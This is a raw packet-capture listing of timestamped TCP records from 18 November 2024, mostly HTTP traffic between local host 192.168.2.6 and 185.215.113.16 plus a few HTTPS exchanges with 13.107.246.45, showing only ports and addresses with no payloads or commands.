Nov 18, 2024 05:57:54.942775011 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.942785025 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942802906 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.942806005 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942823887 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942843914 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942862988 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942883015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942895889 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.942897081 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.942900896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942926884 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.942926884 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.942930937 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942946911 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942975998 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.942977905 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.943001032 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943018913 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943022013 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.943037033 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943053961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943068027 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.943073034 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943090916 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943110943 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943129063 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943139076 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.943149090 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943166971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943178892 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.943186045 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943202019 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943233013 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943253040 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943270922 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943273067 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.943273067 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.943290949 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943310022 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943329096 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.943341017 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943393946 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943413019 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943433046 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943449020 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.943449020 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.943480015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943501949 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943520069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943542004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943557978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943619967 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.943619967 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.943672895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943692923 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943715096 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943739891 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943777084 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.943777084 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.943783045 CET	443	60467	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.943809986 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943830013 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943847895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.943897963 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.943989038 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944016933 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944036007 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944040060 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.944040060 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.944055080 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944072962 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944091082 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944111109 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944114923 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.944123983 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.944129944 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944149971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944160938 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.944168091 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944246054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944303989 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.944343090 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944363117 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944382906 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944406986 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944411039 CET	60467	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.944418907 CET	443	60467	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.944428921 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944477081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944505930 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944525003 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944528103 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.944528103 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.944544077 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944562912 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944581985 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.944581985 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944607019 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.944720030 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.944720030 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.945025921 CET	60467	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:54.945029974 CET	443	60467	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:54.945588112 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.946743965 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:54.984126091 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.984147072 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.984165907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:54.984289885 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.021527052 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.021547079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.021565914 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.021585941 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.021795988 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.021796942 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062011003 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062038898 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062087059 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062112093 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062131882 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062160969 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062179089 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062197924 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062223911 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062223911 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062258959 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062277079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062294960 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062349081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062367916 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062412024 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062412024 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062412024 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062429905 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062448025 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062469006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062488079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062526941 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062526941 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062541962 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062560081 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062577963 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062597036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062613964 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062618971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062643051 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062689066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062705994 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062762976 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062781096 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062815905 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062815905 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062815905 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062856913 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062879086 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062908888 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062927961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.062963009 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062963009 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062979937 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.062989950 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063024998 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063098907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063117027 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063137054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063158035 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063229084 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063280106 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063298941 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063319921 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.063319921 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.063327074 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063354969 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.063368082 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.063416958 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063436031 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063462019 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063479900 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063498020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063607931 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.063740969 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063805103 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063811064 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.063824892 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063857079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063874960 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063906908 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063925982 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063927889 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.063927889 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.063946009 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063961983 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063983917 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.063988924 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.064003944 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064022064 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064043999 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.064053059 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064070940 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064089060 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064106941 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064131975 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064151049 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064177990 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064196110 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064201117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.064201117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.064214945 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.064254045 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.064271927 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064369917 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064387083 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064418077 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.064418077 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.064424992 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064444065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064461946 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064480066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064498901 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064517021 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064526081 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.064526081 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.064534903 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.064584970 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.074430943 CET	443	60467	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.074574947 CET	443	60467	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.074659109 CET	60467	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.074866056 CET	60467	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.074875116 CET	443	60467	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.074882030 CET	60467	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.074884892 CET	443	60467	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.077425957 CET	60472	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.077522039 CET	443	60472	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.078197002 CET	60472	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.078363895 CET	60472	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.078418016 CET	443	60472	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.103929043 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.103951931 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.103972912 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.104000092 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.104023933 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.141367912 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.141413927 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.141433001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.141469002 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.181783915 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.181804895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.181824923 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.181843996 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.181863070 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.181863070 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.181885004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.181888103 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.181901932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.181931973 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.181941032 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.181941032 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.181952953 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.181971073 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182017088 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182046890 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182060957 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.182077885 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182097912 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182126999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182146072 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182152033 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.182163954 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182183981 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182219982 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.182219982 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.182262897 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182281017 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182310104 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182328939 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182348967 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.182358027 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182379007 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182394981 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182403088 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.182414055 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182435036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182461977 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182478905 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.182478905 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.182482004 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182502985 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182574034 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.182574987 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182595968 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182627916 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182645082 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.182646036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182666063 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182684898 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182706118 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.182724953 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.182739019 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182754993 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182774067 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182813883 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.182832956 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182852030 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182869911 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182889938 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182938099 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.182939053 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.182940006 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182957888 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.182976007 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183002949 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.183094978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183113098 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183141947 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183154106 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.183161020 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183186054 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183192968 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.183237076 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.183247089 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183264971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183284044 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183301926 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183317900 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.183346987 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183347940 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.183449984 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183468103 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183487892 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183506012 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183525085 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183563948 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.183563948 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183563948 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.183583021 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183599949 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183640957 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.183749914 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183772087 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.183789968 CET	80	60438	185.215.113.16	192.168.2.6
